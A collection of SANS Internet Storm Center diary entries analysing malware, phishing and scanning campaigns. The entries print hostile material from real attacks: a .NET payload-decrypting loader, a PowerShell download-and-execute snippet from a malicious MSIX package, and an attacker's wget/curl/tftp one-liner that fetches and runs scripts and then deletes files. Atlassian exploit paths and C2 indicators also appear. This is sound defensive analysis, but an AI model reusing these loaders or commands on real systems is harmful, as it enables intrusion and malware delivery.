     if (text.StartsWith(value))
     {
         Console.Write("[*] One moment while getting our file from URL.... ");
         encodedData = Get_Stage2(text);
     }
     else
     {
         Console.WriteLine("NO URL, loading from disk.");
         Console.Write("[*] One moment while getting our file from disk.... ");
         encodedData = Get_Stage2disk(text);
     }
     Console.WriteLine("-> Done");
     Console.WriteLine();
     Console.Write("[*] Decrypting file in memory... > ");
     string s = args[1];
     Console.WriteLine();
     byte[] data = Base64_Decode(encodedData);
     byte[] bytesToBeDecrypted = Decompress(data);
     byte[] bytes = Encoding.UTF8.GetBytes(s);
     bytes = ((HashAlgorithm)SHA256.Create()).ComputeHash(bytes);
     byte[] array = AES_Decrypt(bytesToBeDecrypted, bytes);
     int num = 4;
     byte[] array2 = new byte[array.Length - num];
     for (int i = num; i < array.Length; i++)
     {
         array2[i - num] = array[i];
     }
     object[] commands = Enumerable.ToArray<string>(Enumerable.Skip<string>((IEnumerable<string>)args, 2));
     loadAssembly(array2, commands);
}

This code is easy to understand, but there is some "magic" to decrypt the payload. You can see a call to a function AES_Decrypt(). It expects the Base64 decoded and decompressed payload (bytesToBeDecrypted) and the SHA256 hash of the password. The function name makes us guess that AES will be used. This encryption algorithm requires a key and an IV ("Initialization Vector"). They are extracted from the password hash. It happens in the AES_Decrypt() function:

using MemoryStream memoryStream = new MemoryStream();
RijndaelManaged val = new RijndaelManaged();
((SymmetricAlgorithm)val).set_KeySize(256);
((SymmetricAlgorithm)val).set_BlockSize(128);
Rfc2898DeriveBytes val2 = new Rfc2898DeriveBytes(passwordBytes, array, 1000);
((SymmetricAlgorithm)val).set_Key(((DeriveBytes)val2).GetBytes(((SymmetricAlgorithm)val).get_KeySize() / 8));
((SymmetricAlgorithm)val).set_IV(((DeriveBytes)val2).GetBytes(((SymmetricAlgorithm)val).get_BlockSize() / 8));
((SymmetricAlgorithm)val).set_Mode((CipherMode)1);
CryptoStream val3 = new CryptoStream((Stream)memoryStream, ((SymmetricAlgorithm)val).CreateDecryptor(), (CryptoStreamMode)1);

The class Rfc2898DeriveBytes[6] derives the key and IV from the provided password. Because we have a SHA256 hash, the derived bytes will be:

85c7f5084dce0f648d9060a1c4d0889ae54c72a2da7164256746c144799665389728205de71082e2ae83cc26c01f5420

The first 64 characters (in red) are the AES key, and the remaining 32 (in green) are the IV. This can be simulated in Cyberchef:

The passphrase is the SHA256 hash of the password. Other parameters are found in the code (the salt and iterations). The key size is 256 + 128.

We can now decrypt the payload using another CyberChef recipe:

Now, we have a valid PE file that the DLL will execute. Note the last trick the attacker uses to defeat simple filters looking for "MZ" in the first bytes of the file. The payload has four extra bytes skipped using a loop in the code.

The PE file is a Quasar RAT (SHA256:caf572b1ea51e044b92d1e37c6ee9f8bf4dd178cf6c71cff5a3527c7870a397b)[7]. Here is the extracted config:

{
    "c2": [
        "193[.]161[.]193[.]99:58530"
    ],
    "attr": {
        "startup_key": "Quasar Client Startup",
        "install_name": "Client.exe",
        "subdirectory": "SubDir",
        "log_directory": "Logs",
        "encryption_key": "3A62B341BAB9ECBB32B7C8FEE43F79FE46244413",
        "reconnect_delay": 3000
    },
    "rule": "Quasar",
    "mutex": [
        "54af0e48-5a33-4746-8a98-01dcf13783ba"
    ],
    "botnet": "Office04",
    "family": "quasar",
    "version": "1.4.1"
}

[1] https://github.com/Cn33liz/p0wnedLoader
[2] https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader/tree/master
[3] https://www.virustotal.com/gui/file/f2b12ede4624763140aefc4e8db65b812a580b8d9f9bb826c9a2d9a36d0b60c2/detection
[4] https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
[5] https://www.virustotal.com/gui/file/021e91b78ccb0ed543aa36fb607c92634cb6054fc63048f7de66ab825b1a38c2
[6] https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.rfc2898derivebytes?view=net-7.0
[7] https://www.virustotal.com/gui/file/caf572b1ea51e044b92d1e37c6ee9f8bf4dd178cf6c71cff5a3527c7870a397b

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Anti-analysis features in phishing pages – especially in those, which threat actors send out as e-mail attachments – are nothing new[1,2]. Nevertheless, sometimes the way that these mechanisms are implemented may still leave one somewhat mystified. This has happened to me a few weeks ago when I found what appeared to be a generic phishing message in one of my spam traps.

After opening the attachment in a text editor, I was expecting to see either obfuscated or clear text HTML and JavaScript code, intended to display a fake login form, which would send any credentials that one might input to an attacker-controlled server, since this is what HTML phishing attachments usually contain.

In this, I was not wrong, as the attachment did, indeed, contain a fake login form.

Nevertheless, while I was going through the HTML code (which was not obfuscated in any way), before I viewed it in a browser, my eye was caught by an unexpected piece of JavaScript code.

JavaScript in the first tag serves to prevent a context menu from being displayed when one clicks a page with the right mouse button. And script in the second tag effectively blocks the use of shortcuts ctrl+c, ctrl+v and ctrl+u.

Since the last shortcut mentioned is used in modern browsers to display the source code of a web page, my thinking is that blocking ctrl+c is in fact intended to prevent the use of ctrl+shift+c, which is commonly used to display developer tools.

Both of these scripts certainly do work, and if one were to open the phishing attachment in a browser, they would block the ability to view the source code or open developer tools, however, as far as their anti-analysis effect goes, they can be trivially bypassed by simply saving the page and opening it in a text editor, as I have done…

This, as I mentioned before, has left me somewhat mystified. My thinking is that if any recipient was suspicious enough to want to view a source code of a HTML page, they would be unlikely to input their credentials in it in any case (perhaps especially if the page didn’t behave in the usual manner). And, as we have shown, for preventing any more "advanced" analysis attempts, these scripts are pretty much useless. Therefore, although this approach is certainly interesting, it is also somewhat arbitrary and ineffective, which means that we can be fairly sure that it won’t be the “next big thing” when it comes to phishing.

[1] https://isc.sans.edu/diary/Phishing+with+a+selfcontained+credentialsstealing+webpage/25580
[2] https://isc.sans.edu/diary/HTML+phishing+attachments+now+with+antianalysis+features/28702

-----------
Jan Kopriva
@jk0pr
Nettles Consulting

If you ever had to acquire packets from a network, you probably used tcpdump. Other tools (Wireshark, dumpcap, snort...) can do the same thing, but none is as widely used as tcpdump. tcpdump is simple to use, fast, and universally available (and free!).

So, let's talk about speed and tcpdump. Everybody knows never to run tcpdump without the "-n" switch. But how do other command line switches affect performances? I did a bit of benchmarking to test different options.

I selected a 127 MByte pcap file (just something I had sitting around) collected on my Mac with tcpdump. Then, I used tcpdump with various command line options to measure the speed using the same system. I used this little test script:

#!/bin/sh
arg="-nvvvvvr"
for b in `seq 1 100`; do
start=$(gdate +%s%N)
tcpdump $arg /tmp/testfile > /dev/null
end=$(gdate +%s%N)
echo $arg $((end-start)) | tee -a tcpdump$arg.out
done

Note that I used "gdate" from homebrew. The default "date" command on MacOS does not have the "%N" option for fractional seconds. The output file was then analyzed with "datamash" (datamash -t ' ' mean 2 min 2 max 2). The data was a bit more noisy than I would have liked. I had to remove some outliers.

In addition to the 'n' switch, both 'q' (Quiet) and 't' (suppress timestamps) delivered nice performance gains. In particular, 't' is an option you should consider if post-processing tcpdump files. When summarizing pcap files, the timestamp is often not needed. In particular, note the gain of using 'q' and 't' simultaneously. 

Adding verbosity is, of course, slowing things down. How much verbosity you add does not appear to affect the speed significantly.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

The MSIX package file format has been in the light for a few weeks. The GHOSTPULSE[1] malware has been identified to bypass many security controls delivered through an MSIX package. Like many operating systems, Windows can install applications by executing an executable (often called "setup.exe"), but packages are also available. Think about the well-known “.deb” for Debian/Ubuntu or “.rpm” for RedHat/CentOS. In the Windows eco-system, packages have the “.msi” extension. They have been used to deliver malware for a while (see my old diary from 2018![2]).

MSI packages are Composite Document Files. Like Office documents, Microsoft developed a new format and added an “x” to the extensions like .docx, .xlsx, etc. The file format is the same: it’s a ZIP archive containing all the files to be installed, but… with a nice feature: automatic execution of a PowerShell script! It's a great gift from Microsoft.

After reading the GHOSTPULSE report, I created a new hunting rule to detect ZIP archives that contain two files called “StartingScriptWrapper.ps1 “ and “config.json”. MSIX files are getting popular, and I spotted a lot of files! Here is a nice sample (SHA256:82db2d060d69ab6f88b85b79cf16255ee30982db1228d6e94ea02bf4feb2f181) with a low VT score[3].

remnux@remnux:/MalwareZoo/20231114$ zipdump.py “VoiceMode (1).msix”
Index Filename                                               Encrypted Timestamp           
    1 Registry.dat                                                   0 2023-10-04 09:43:38
    2 Screenshot_2.png                                               0 1980-00-00 00:00:00
    3 VC_redist.x86.exe                                              0 2023-09-22 18:18:20
    4 worldhack.ps1                                                  0 2023-10-03 11:42:56
    5 StartingScriptWrapper.ps1                                      0 2023-06-28 08:57:32
    6 config.json                                                    0 2023-10-04 09:43:38
    7 PsfRuntime64.dll                                               0 2023-10-04 09:43:40
    8 PsfRuntime32.dll                                               0 2023-06-28 09:40:44
    9 PsfRunDll64.exe                                                0 2023-06-28 09:41:18
   10 PsfRunDll32.exe                                                0 2023-06-28 09:40:46
   11 Assets/Store50x50Logo.scale-100.png                            0 1980-00-00 00:00:00
   12 Assets/VCredist.x86.exeSquare44x44Logo.scale-100.png           0 2023-06-28 08:57:38
   13 Assets/VCredist.x86.exeSquare150x150Logo.scale-100.png         0 2023-06-28 08:57:38
   14 AI_STUBS/AiStubX86.exe                                         0 2023-10-04 09:43:38
   15 resources.pri                                                  0 2023-10-04 09:43:38
   16 AppxManifest.xml                                               0 2023-10-04 09:43:38
   17 AppxBlockMap.xml                                               0 2023-10-04 09:43:40
   18 [Content_Types].xml                                            0 2023-10-04 09:43:38
   19 AppxMetadata/CodeIntegrity.cat                                 0 2023-10-04 09:43:38
   20 AppxSignature.p7x                                              0 2023-10-04 12:44:58

The “StartingScriptWrapper.ps1” wrapper is, most of the time, the same and expects one parameter that will be parsed via a classic Invoke-Expression:

Param (
    [Parameter(Mandatory=$true)]
    [string]$ScriptPathAndArguments
)

try
{
invoke-expression $scriptPathAndArguments
}
catch
{
write-host $_.Exception.Message
#ERROR 774 refers to ERROR_ERRORS_ENCOUNTERED.
#This error will be brought up the the user.
exit(774)
}

Which parameter will be passed? It’s defined in the JSON file:

remnux@remnux:/MalwareZoo/20231114$ zipdump.py 82db2d060d69ab6f88b85b79cf16255ee30982db1228d6e94ea02bf4feb2f181 -s 6 -d
{
    "processes": [
        {
            "executable": ".*",
            "fixups": []
        }
    ],
    "applications": [
        {
            "id": "VCredist.x86.exe",
            "startScript": {
                "scriptExecutionMode": "-ExecutionPolicy RemoteSigned",
                "scriptPath": "worldhack.ps1"
            }
        }
    ]
}

The script “worldhack.ps1 will be automatically executed during the package installation. Here is the content (the most interesting part):

remnux@remnux:/MalwareZoo/20231114$ zipdump.py 82db2d060d69ab6f88b85b79cf16255ee30982db1228d6e94ea02bf4feb2f181 -s 4 -d

[...stuff deleted...]

$Name1 = (New-Object System.Net.WebClient).DownloadData("hxxps://browse-plus[.]com/didicert.jpg")
$Name2 = [System.Reflection.Assembly]::Load($Name1)
$Name3 = $Name2.EntryPoint
if ($Name3) {
    $Name4 = @()
    $Name3.Invoke($null, $Name4)
}

The interesting URL is the last one. It fetches a fake picture, a PE file that is loaded. The SHA256 is a16abe0ece8dac8f512a23f81daf704ec3c797de3334b73f1f5fcb0be5370f62, and the payload was identified as a good old Redline...

It's a good idea to pay more attention to MSIX files now!

[1] https://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks
[2] https://isc.sans.edu/diary/Malware+Delivered+via+Windows+Installer+Files/23349
[3] https://www.virustotal.com/gui/file/82db2d060d69ab6f88b85b79cf16255ee30982db1228d6e94ea02bf4feb2f181/detection

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Today, Microsoft released patches for 64 different vulnerabilities in Microsoft products, 14 vulnerabilities in Chromium affecting Microsoft Edge, and five vulnerabilities affecting Microsoft's Linux distribution, Mariner. Three of these vulnerabilities are already being exploited, and three have been made public before the release of the patches. 

CVE-2023-36038: A denial of service vulnerability in ASP.NET Core. CVSS score of 8.2. This vulnerability was disclosed before the patch release.

CVE-2023-36413: A Microsoft Office security feature bypass. Exploiting this vulnerability will bypass the protected mode when opening a file received via the web. The file would open in editing mode, allowing malicious code execution. The vulnerability has been disclosed before the patch release.

CVE-2023-36036: A privilege escalation vulnerability in Microsoft's Windows Cloud Files Mini Filter Driver. This vulnerability is already being exploited.

CVE-2023-36033: A privilege escalation vulnerability in the Windows DWM Core Library. The vulnerability was exploited and disclosed before the patch release.

CVE-2023-36025: A security feature bypass vulnerability in Windows SmartScreen. This vulnerability was not public before the patch release, but it was already exploited.

Three of the vulnerabilities are considered critical. CVE-2023-36397, a remote code execution vulnerability in the Windows Pragmatic General Multicast (PGM) protocol, is noteworthy as we had patches for this in prior months. But exploitation should be difficult. It will require local network access and is not typically enabled. 

Today's patches also included patches for several older open-source component vulnerabilities in Kubernetes, FRRouting, Traceroute, PyYAML. These affect Mariner Linux, the Linux variant used by Microsoft. I decided not to include them in the matrix below.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Malicious software pieces installed in computers call home. Some of them can be noticed because they perform DNS lookup and some of them initiates connection without DNS lookup. For this last option, this is abnormal and can be noticed by any Network Detection and Response (NDR) tool that reviews the network traffic by at least two weeks.

Most companies do not have money to afford a NDR, so I'm going to show you today an interesting tip that have worked for me to notice APT calling home when they perform DNS lookup.

1. Perform a DNS capture for an extended period of time. 12 hours at least have worked for me. I'm recommending this amount of time because the malicious artifact can call once every specific time. This can be 6 hours, 12 hours or longer. This is a single packet on millions inside the network, so the longer the capture the better.
2. I'm using a small capture for this diary about 4 hours long and about 8 million packets:
3. Now let's transform the traffic into something we can parse. Let's take the source IP address to understand who is performing the call and the DNS query name:
4. Let's see the content to understand it worked:
5. Where can we see the abnormalities? They will be with the least amount of repetitions. Let's calculate a frequency histogram for the CSV:
6. Let's tail the CSV file. We will find some DNS with random DNS char names consistent with malware domains:
7. Correlate the CSV with the dns query name and you will get the name of the compromised computer.

Packet captures are great to understand what's happening on the network. You still can perform threat hunting and incident response without commercial tools and appliances.

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter: @manuelsantander
Mastodon:manuelsantander@infosec.exchange
email: msantand@isc.sans.org

[This is a Guest Diary by Austin Long, an ISC intern as part of the SANS.edu BACS program]

Introduction

As a requirement for completing the Applied Cybersecurity Bachelors program, I attended an internship program with the Internet Storm Center. I was tasked to create a Honeypot on a Pi and report seven different attack observations. This post is going to explore one of those attack observations.

Summary

As a quick summary, I dive into uncovering a malicious file. From that file, I was able to uncover more suspicious files by connecting to a malicious FTP server. The threat actor attempts to add my honeypot into a botnet so the threat actor can carry out DDoS attacks. The vulnerabilities used for the attack were default credentials and CVE-2017-17215. To prevent these attacks, make sure systems are patched and using strong credentials. More information on how to protect your systems can be found at the end.

Finding an Indicator of Compromise

To do analysis of an attack, I had to find one that had been uploaded to my honeypot. One of the first places I go to start my analysis is to the Downloaded files directory of the honeypot.  This directory contains files uploaded by threat actors who successfully connected to the honeypot either by SSH or Telnet. I looked for any interesting files and I found a bash script with a SHA256 hash of 9c52068bbbec5cf2dddd0cd25eaf8dc09f10c43b3a6ecd0a8f02aa90e0f1f437. Looking at the file, the script ran multiple commands.

The uploaded file would attempt to change directories, hoping to land in an ‘executable’ directory. Once in a directory, the file would reach out to a webserver at the IP address of 185.254.37.243 and download multiple files named skid. Each skid file looked as if it were created for different system architecture. Once the malware was downloaded, the malware was flagged as executable and ran with an ‘SSH’ positional argument. When I uploaded the hash of the script to Virus Total, 23/54 vendors flagged the file as malicious, and referred to ‘Medusa’ which is related to ransomware. I thought that would be really cool to dig deeper into, since I have not analyzed a ransomware attack yet.

The Attack

I noticed the file was uploaded on September 02 and started with that information. I moved into the SSH logs generated from Cowrie, the SSH honeypot service, and analyzed the log represented in JSON format. I found the SSH session ID and filtered the data to only look at that session. The jq command I ran was:
* To download jq, visit: https://jqlang.github.io/jq/download/

 jq '. | select(.session=="cbbb3572f898")' cowrie.json.2023-09-02

The threat actor gained access by credential stuffing default credentials. The threat actor attempted five login and was successful with using the credential root:root. Once on the honeypot, the following command was executed:

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.254.37.243/z.sh; curl -O http://185.254.37.243/z.sh; chmod 777 z.sh; sh z.sh; tftp 185.254.37.243 -c get tz.sh; chmod 777 tz.sh; sh tz.sh; tftp -r tz2.sh -g 185.254.37.243; chmod 777 tz2.sh; sh tz2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.254.37.243 z1.sh z1.sh; sh z1.sh; rm -rf z.sh tz.sh tz2.sh z1.sh; rm -rf *

The command replicates what was seen above from the downloaded file, but it acts as the stager to download the initial file. The command attempted to retrieve multiple files:

•    z.sh
•    z1.sh
•    tz.sh
•    tz2.sh

Actors will commonly use one or two letter names for malware, which defenders can easily write rules to detect this. I learned about that TTP from the FOR508 course, Advanced Incident Response, Threat Hunting, and Digital Forensics. I looked through the Downloads directory on the honeypot but could not find any instances of the files tz.sh or tz2.sh. However, I did find the z1.sh file. 

The file z1.sh attempted to do pretty much the same thing as z.sh, but using an FTP service instead. To find more information about the files and threat actor, I connected to the FTP server referenced in the script. This is the list of files available for download:

The server was hosting lots of suspicious files. Most of the suspicious files seemed to be targeting common architecture for IoT devices and routers. I downloaded the files tz.sh and skid.x86 to continue the analysis.

The tz.sh file replicated the same thing that z.sh did. The skid.x86 file was what was really interesting. To see what type of file it was, I ran the command: file skid.x86

Since it was an executable, I decided to run strings to see if I could retrieve any string values that are human readable. A lot of the output was random data, besides one section.

This section of string seemed like an HTTP header using command injection within the XML data. The realm="HuaweiHomeGateway" confirmed that the malware was targeting home routers. 

When I uploaded the file into Virus Total, I got back interesting findings. 32 vendors flagged the file as malicious, with multiple vendors referring to the Gafgyt and Mirai Botnet.

The Threat Actors

What is the Gafgyt botnet? Well according to an article from Threat Post [1], Gafgyt is a botnet discovered in 2014 which targets IoT devices like Huawei routers. The botnet primary goal is to conduct DDoS attacks. Another name for the botnet is called BASHLITE [2]. From the article, the botnet would use an exploit called CVE-2017-17215. Researching the CVE, I found a PoC uploaded on ExploitDB located here: https://www.exploit-db.com/exploits/43414. Comparing the PoC with the IP Header within the malware, it looked very similar! [3]

Resolution and Lessons Learned

The key take away from this attack observation is to make sure you do not have a home router exposed to the public internet, change all default passwords to strong and complex password, and make sure the routers and IoT devices are updated! The CVE attempted was from 2017, but since it is still being used there could be routers still out there that are exploitable by this vulnerability. This diary highlights why it is important to regularly review and update home systems. If SSH and systems must be exposed to the public internet, steps can be taken  to harden them with firewalls, fail2ban, and only allowing the use of SSH keys. [4][5][6]

[1] https://threatpost.com/gafgyt-botnet-ddos-mirai/165424/
[2] https://en.wikipedia.org/wiki/BASHLITE
[3] https://www.exploit-db.com/exploits/43414
[4] https://www.cisecurity.org/cis-benchmarks
[5] https://attack.mitre.org/techniques/T1021/004/
[6] https://github.com/fail2ban/fail2ban
[7] https://jqlang.github.io/jq/download/
[8] https://www.sans.edu/cyber-security-programs/bachelors-degree/
-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Code injection techniques (T1055 from MITRE[1]) is a common technique these days. It’s a nice way for an attacker to hide malicious code into a legit process. A deviation of this technique is called “Process Hollowing”[2] where code of the legit suspended process is wiped and replaced by malicious code. Code injection is performed by calling Microsoft API calls like: VirtualAllocEx(), NtUnmapViewOfSecrio(), WriteProcessMemory(), ... (they are many others available)

When I’m teaching FOR610[3], many students are wondering why such API calls are provided by Microsoft to perform so dangerous actions. Indeed, there is no “hacking magic”. Microsoft supports them. for them, it’s difficult to "see" how such program behaves.

I spotted an interesting sample that perform this technique and I was able to collect “visible” information. The malware was delivered through a phishing email with a ZIP archive. The executable is called “deposit q.exe” (SHA256:e3471a6c13327493f5d5990cce84c095e66d83a4554e01f3eb891c15750acf60[4]). The malware downloads a payload from OneDrive:

hxxps://zevjwg[.]bn[.]files[.]1drv[.]com/y4mkABT3gyR6meHkPFqKxwXcR2Dalfzc8vcJYkh2YdRSprR5BjFVj_TAYpkjpyVIUgGHpc0hmklk0uIpA41vBgPlJBZKyIOI_mZlDj5KCikTCfH9FUIzcf4Ff31dCFnHU6X9oKVeA2FYnq0_vQqOqDp8NiEOASqrG1MQuNT214kS7dkwRo_h8gzuhBnzRvXgvYr

It drops multiple files to implement persistence:

• C:\Users\\Public\Libraries\Mxgaoauk.url
• C:\Users\\Public\Libraries\Mxgaoauk.PIF
• C:\Program Files (x86)\Rs8jlix\nxvxu6jfj49.exe

The malware creates a SndVol.exe process (the official Microsoft tool to manage audio volume on the system). Then it injects a thread into SndVol.exe as soon on the following picture (generated with ProcDOT):

In the same sandbox, I found later the following process (ipconfig.exe), which also looks legit but it performs malicious activity:

The ipconfig.exe process is trying to contact C2 servers.

I identified the following hostnames:

• www[.]5528981[.]com
• www[.]betaplex[.]click
• www[.]grupolubriso[.]live
• www[.]k1l1b1[.]top
• www[.]xbavju[.]top

Note that injection in another (or the local) procress, can be performed from any programming languages, also scripts! I found plenty of techniques in PowerShell, Python, VBS, ...

[1] https://attack.mitre.org/techniques/T1055/
[2] https://attack.mitre.org/techniques/T1055/012/
[3] https://for610.com
[4] https://www.virustotal.com/gui/file/e3471a6c13327493f5d5990cce84c095e66d83a4554e01f3eb891c15750acf60

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

We all have a love and hate relation with emails. When newcomers on the Internet starts to get emails, they are so happy but their feeling changes quickly. Then, they hope to reduce the flood of emails received daily... Good luck! Of course, tools have been developed to organize marketing campaigns. From marketing to spam or phishing, there is only one step. Bad guys started to use the same programs for malicious purpose.

Yesterday, I found on VT an interesting file. It triggered one of my hunting rules because the file contained a reference to one of my customer’s domain. I had a look at the file named “EwoExcel (1).mmp’ (SHA256:0e016a41b6df3dc7daf076805e3cbb21df1ff33712b615d38ecf066cd25b6e06)[1].

I was not aware of the file extension “.mmp” (it’s not a “.mpp” used by Microsoft Project). But it seems to be a project file:

00000050: 5072 6f6a 6563 7443 7265 6174 696f 6e44  ProjectCreationD
00000060: 6174 65e7 1100 3130 2f32 352f 3232 2038  ate...10/25/22 8
00000070: 3a31 333a 3332 700d 5072 6f6a 6563 7441  :13:32p.ProjectA
00000080: 7574 686f 72e7 0000 0c50 726f 6a65 6374  uthor....Project
00000090: 4e6f 7465 73e7 0000 0c50 726f 6a65 6374  Notes....Project
000000a0: 5469 746c 65e7 0000 0e50 726f 6a65 6374  Title....Project
000000b0: 4d61 6e61 6765 72e7 0000 0e50 726f 6a65  Manager....Proje
000000c0: 6374 4465 7363 7269 70e7 0000 0e50 726f  ctDescrip....Pro
000000d0: 6a65 6374 5665 7273 696f 6ee7 0400 3532  jectVersion...52
000000e0: 2e30 1650 726f 6a65 6374 5665 7273 696f  .0.ProjectVersio
000000f0: 6e4f 7269 6769 6e61 6ce7 0400 3531 2e30  nOriginal...51.0
00000100: 0466 726f 6de7 3f00 3d3f 5554 462d 383f  .from.?.=?UTF-8?
00000110: 423f 5158 5230 5957 4e6f 5a57 5167 5a47  B?QXR0YWNoZWQgZG
00000120: 396a 4947 5a76 6367 3d3d 3f3d 205b 5b2d  9jIGZvcg==?= [[-
00000130: 5573 6572 2d5d 5d20 3c6a 6a68 4064 6875  User-]] <jjh@dhu

The file was created in 2022 but was recently uploaded on VT. Such documents are managed via an application called “GammaDyne”[2]. Once installed in my sandbox, the application was able to handle the file and reveal its secrets. It’ contains defailts about a classic phishing campaign project:

The mail subject contains "Attached doc for" (Base64-encoded).

As you can see, attackers do not re-invent the wheel and use classic tools to organize their phishing campaign.

Funny wrap-up: I found that Didier discovered the same type of file already in 2020![3]

[1] https://www.virustotal.com/gui/file/0e016a41b6df3dc7daf076805e3cbb21df1ff33712b615d38ecf066cd25b6e06/detection
[2] https://www.gammadyne.com/email_software.htm
[3] https://isc.sans.edu/diary/File+Selection+Gaffe/26694

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Collecting and analyzing DNS logs should be at the top of your agenda regarding network monitoring. Everything that happens on the network tends to be reflected in DNS, and events that do not correlate with DNS are often suspect themselves. For example, if a host connects to an IP address directly without first receiving it as a DNS response. But in recent years, DNS has moved more and more to encrypted channels. Starting with DNS over TLS (DoT), DNS over HTTPS (DoH), and lately DNS over QUIC (DoQ).

Local recursive resolvers are usually configured via DHCP. Your ISP, or the network you connect to, will usually advertise one or two IP addresses to use as your resolver. As far as I know, DHCP cannot configure an encrypted resolver. But earlier today, @HQuest on X pointed out that iOS 17 implemented a new protocol, "Discovery of Designated Resolvers (DDR)". [1]

I took a look at my home network and, indeed, saw some related traffic. But first, a bit about DDR. RFC 9462 was last updated yesterday. So, it is a "hot of the press" protocol. But we often see protocol implemented before the RFC is finalized. 

The protocol uses "Service Binding (SVCB)" records. SVCB, just like HTTPS records, provides instructions to clients about how to connect to a particular service. This may include parameters like ports, application layer protocols, and encryption keys.

For DDR, three specific parameters are configured:

• The application layer protocol (DoT, HTTP2, QUIC ...).
• The port the resolver is listening on.
• A "DoH Path". This is a template that is used to create the URL to use for a DoH DNS query. For example, /dns-query{?dns}.

To discover a resolver, a client may query the SVCB record to _dns.resolver.arpa. The "resolver.arpa" domain is reserved for this purpose. Any resolver may now reply with information to use a specific encrypted resolver. 

The idea is that a resolver you have already configured via traditional means like DHCP may advertise that it is also reachable via DoH/Q/T. Cloudflare stated that they implemented experimental support for DDR in March of 2022, but my tests today did not get the expected response [2].

I do see, however, a good number of SVCB record requests for _dns.resolver.arpa in my local network. I also see requests for _dns.[domain name] hitting name servers for domains I own. These requests originate from PlanetLab, who may be researching the scope of DDR implementations.

So, what should you do to manage DNS on your network?

To reduce the chances of DDR being used, filter requests for _dns.resolver.arpa. It may be easiest to make your resolver authoritative for resolver.arpa. Optionally, you may want to add your SVCB record for _dns.resolver.arpa to direct clients to an authorized DNS server. You will still be able to get the data you need from logs collected by the resolver. At the same time, DNS traffic is a bit better protected on the local network.

Blocking the resolution of SVCB and HTTPS records may be an option, but I am unsure if that is a good idea as they start to see more use for protocols like QUIC unless you prefer to block QUIC as it does impede some network monitoring.

[1] https://datatracker.ietf.org/doc/rfc9462/
[2] https://blog.cloudflare.com/announcing-ddr-support/

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Last week, Atlassian published an advisory for CVE-2023-22518. The vulnerability is a trivial to exploit authentication bypass vulnerability [1]. Atlassian emphasized the importance of the advisory with a quote from its CISO: "There are no reports of active exploitation at this time; customers must take immediate action to protect their instances." On Friday, Atlassian confirmed that attackers are actively exploiting the vulnerability.

The vulnerability is rated with a CVSS score of 9.1. Three different URLs are affected according to the advisory:

/json/setup-restore.action
/json/setup-restore-local.action
/json/setup-restore-progress.action

Looking at different published exploits, the other common denominator is the addition of a, in hindsight, obvious header:

 "X-Atlassian-Token": "no-check",

One of the exploits is also hitting this URL

/rest/api/user?username=

I went back through our data to see how much exploitation we see for these URLs. We started seeing the first attempts on November 2nd (Thursday), just as Atlassian reported seeing these exploits being used against customers.

The first request detected came in on Nov 2nd from %%IP:206.189.179.132%%. The IP is a Digital Ocean IP and pretty quiet, but no stranger to our logs. We saw two requests back in March for /t4 (WebLogic?) [2]. 

The total request sent by this IP on November 2nd:

GET /json/setup-restore.action HTTP/1.1
Host: [redacted]:8090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

This request is still missing the "X-Atlassian-Token" header. It may just be an attempt to collect targets. The host this was sent to is interestingly responding to a hostname related to a fictitious medical organization, and this particular hostname was used in the request. The source IP also attempted TLS connections and first sent a simple "HEAD" request for the index page to confirm connectivity.

Other early IPs scanning for the vulnerability:

%%ip:103.207.14.235%% Indian IP address with no prior history.
%%ip:103.207.14.196%% Indian IP address with no previous record.
%%ip:104.238.130.6%% US-based cloud provider (vultr.com)
%%ip:99.245.96.12%% Canadian Consumer IP address (Rogers) exposing a router login, according to Shodan.

the /rest/api/user URL, while unrelated to CVE-2023-22518, had some interesting results:

/rest/api/user?username=pleasepatch
/rest/api/user?username=systemadm.bkp
/rest/api/user?username=hacked
/rest/api/user?username=Atlassian_Guest
/rest/api/user?username=pleasepatchconcac
/rest/api/user?username=systemuser
/rest/api/user?username=ConUAdmin
/rest/api/user?username=favouser
/rest/api/user?username=adminstartor 
/rest/api/user?username=trader
/rest/api/user?username=test09
/rest/api/user?username=pleasepatchlj
/rest/api/user?username=zerolove
/rest/api/user?username=root

Some of them appear to be attempts to notify administrators of unpatched Atlassian instances. These scans started on October 13th and are likely related to an earlier Atlassian vulnerability.

[1] https://jira.atlassian.com/browse/CONFSERVER-93142
[2] https://isc.sans.edu/weblogs/sourcedetails.html?date=2023-03-21&ip=206.189.179.132

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

In his diary entry "Size Matters for Many Security Controls", Xavier talks about a PE file that has been artificially inflated in size (to 1GB) by appending NUL bytes (0x00) to its end.

Many security tools will not process a file this big, and thus one needs to strip the extra NUL bytes at the end, to reduce the size. And as Xavier warns us ("be sure not to remove all of them - keep a safe amount"), removing NUL bytes can be tricky.

The problem is the following: if you are dealing with a PE file that has a section at its end (so no digital signature, no overlay), then there's a high probability that this section is padded with NUL bytes. And you can't remove these bytes. How can you identify these bytes? By reading the PE file's metadata for sections.

This is something that I have automated in my pecheck.py tool. It's a tool to analyze PE files, here I run it on Xavier's sample:

There's a lot of output, and it ends with this information:

pecheck.py detected an "overlay". An overlay is data appended to the end of a PE file, that is not included in the PE file's metadata.

